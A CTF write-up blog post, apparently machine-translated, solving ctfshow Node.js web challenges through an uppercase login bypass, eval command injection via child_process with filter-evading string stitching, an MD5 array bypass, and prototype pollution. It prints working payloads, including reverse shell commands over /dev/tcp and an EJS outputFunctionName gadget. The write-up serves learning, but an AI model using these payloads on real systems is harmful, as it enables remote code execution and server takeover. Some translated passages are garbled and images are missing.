[CTFSHOW] Getting Started with the web NodeJS (Continuous Update)

Write before


Download the attachment, where user.js gets the user name:


Password is:


Audit login.js code, where:

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

Getting a name cannot be "CTFSHOW", but only if the name is capitalized the same as CTFSHOW.




Right-click to view the source code, prompt:


Should be able to execute js commands directly:

?eval=var a=require('child_process');a.execSync('ls');

Found that the flag file name is "fl00g.txt", we can see the flag in a cat:

?eval=var a=require('child_process');a.execSync('cat fl00g.txt');

You can see about child_process Official document for child_process module


With filter added, we can succeed with stitching (note that url encoding is required, otherwise + will be recognized as a space):

?eval=var a=require('chil'+'d_pro'+'cess');a['ex'+'ecSync']('ls')
?eval=var a=require('chil'+'d_pro'+'cess');a['ex'+'ecSync']('cat f*')

There are also payload s that use spawnSync instead of stitching, but they don't echo flag after trying, nor output in the console. I don't know why, I hope there's a big guy to point at.

?eval=require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()


Judgement logic in source code:

var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
   res.render('index',{ msg: 'tql'});

With MD5, we can use arrays to bypass, starting with the same payload as php:


Unsuccessful, add a colon between the brackets (where the colon can be any letter but not a number), and successfully echo flag:


You can also use:


For reasons, look at the output:

The first figure is the MD5 encrypted input when a[1]=1&b[1]=2 is passed in. js splits a and B into'1'and'2' and flag, respectively.

When the second image passes in a[:]=1&b[:]=2, it returns [object object Object]flag{xxx}.

As for a[]=1&b=1, it goes without saying.


Download the source code, see the copy function in utils/common.js, and the new secret class in routes/login, you can guess it's prototype chain contamination.

Learn a wave of prototype chain pollution: Deep understanding of JavaScript Prototype pollution attacks

A brief summary of the principles of prototype chain attack is given:

  • First create a new object with a class

  • We assign a value to the u proto_u property of this object

  • This assignment exists for all the properties of the object created by the class corresponding to this object

  • EnumeratešŸŒ°:

  • let c = {llama:33}
     c.__proto__.llama = 44
    let d = {}
    console.log(d.llama) // Output: 44

    The Object class is the most commonly used prototype chain contamination. Here we create two new objects with the Object class: c and d.

    Although d does not give it any attributes and values, when we modify the u proto_u attribute of object c, there are key-value pairs in the Object class: {"llama":44}. d objects created as Object classes also have key-value pairs: {"llama":44}

Therefore, prototype chain contamination may occur when some functions can control the key names of classes.

Especially this copy function, which is not similar to the blog of God P, can only be said exactly the same:

Look at the logic of judgment in login.js:

  return res.json({ret_code: 2, ret_msg: 'Logon Failure'+JSON.stringify(user)});  

We can pollute the Object class by adding the attribute {"ctfshow": "36dboy"}.

{"__proto__": {"ctfshow": "36dboy"}}

Snap the package at home page login, and then modify the body of the post request to payload to respond to flag:


In api.js:

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.render('api', { query: Function(query)(query)});

Function (query) can execute query's corresponding instructions, and we can use variable overrides to use the query's value as the point to bounce the shell.

  • Expected solution

Grab the package access/login to override the query value, then access/api to execute the query value.

Initially, the query value is overridden with id command. After that, I want to delete the attribute value in batch, but I cooked too much and did not succeed:

{"__proto__":{"query":"\u000areturn e => { for (var a in {}) { delete Object.prototype[a]; } return global.process.mainModule.constructor._load('child_process').execSync('id')}\u000a//"}}

Helplessly refresh the target machine, then override it with the value of the bounce shell:

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ 0>&1\"')"}}

The rebound was successful:

flag in. /routes/login.js:

  • Unexpected solution

Take payload directly from Master Feather wp:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}

Reference material

Deep understanding of JavaScript Prototype pollution

Node.js Common Vulnerabilities Learning and Summary


ctfshow nodejs

Tags: Javascript node.js JQuery npm Web Security

Posted on Mon, 04 Oct 2021 12:27:49 -0400 by jcrocker